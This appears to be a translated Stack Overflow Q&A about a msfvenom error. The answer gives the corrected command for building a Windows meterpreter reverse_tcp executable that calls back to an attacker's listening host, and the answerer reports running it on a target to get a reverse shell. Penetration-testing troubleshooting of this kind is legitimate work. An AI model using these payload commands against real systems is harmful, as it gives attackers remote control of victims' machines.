2014-10-10 217 views
0
[email protected]:~# msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -f exe 
Attempting to read payload from STDIN... 
You must select an arch for a custom payload 

我一直在谷歌搜索一段時間,沒有積極的結果。自定義有效載荷Kali Linux

誰能告訴我'You must select an arch for a custom payload'是什麼意思?

+0

查看幫助中心和[如何製作最小可行的示例](https://stackoverflow.com/help/mcve)。另見[this](https://unix.stackexchange.com/questions/399626/why-is-kali-linux-so-hard-to-set-up-why-wont-people-help-me/399627# 399627)答案,這可能有助於解決潛在的問題。 – charlesreid1 2017-10-22 19:38:30

回答

2

如果你去msfvenom -h它會提供幫助。您將看到命令來設置架構是'-a',您需要將其設置爲x86或任何其他您需要的架構。所以你的命令看起來像 msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe但是你實際上需要通過在你的有效載荷描述前面加上'-p'來指定有效載荷,所以你的命令看起來像msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe。它會抱怨沒有選擇平臺,因此它爲你選擇了一個......「沒有選擇平臺,從有效載荷中選擇Msf :: Module :: Platform :: Windows,然後你會得到」Found 0 compatible encoders「 ,只是忽略這一點。輸入「file yourexploit.exe」,它應該給你一些說PE32可執行文件的數據....然後你就可以走了。我只是想到了這一點,它爲我工作,運行目標中的.exe並得到反向shell。祝你好運!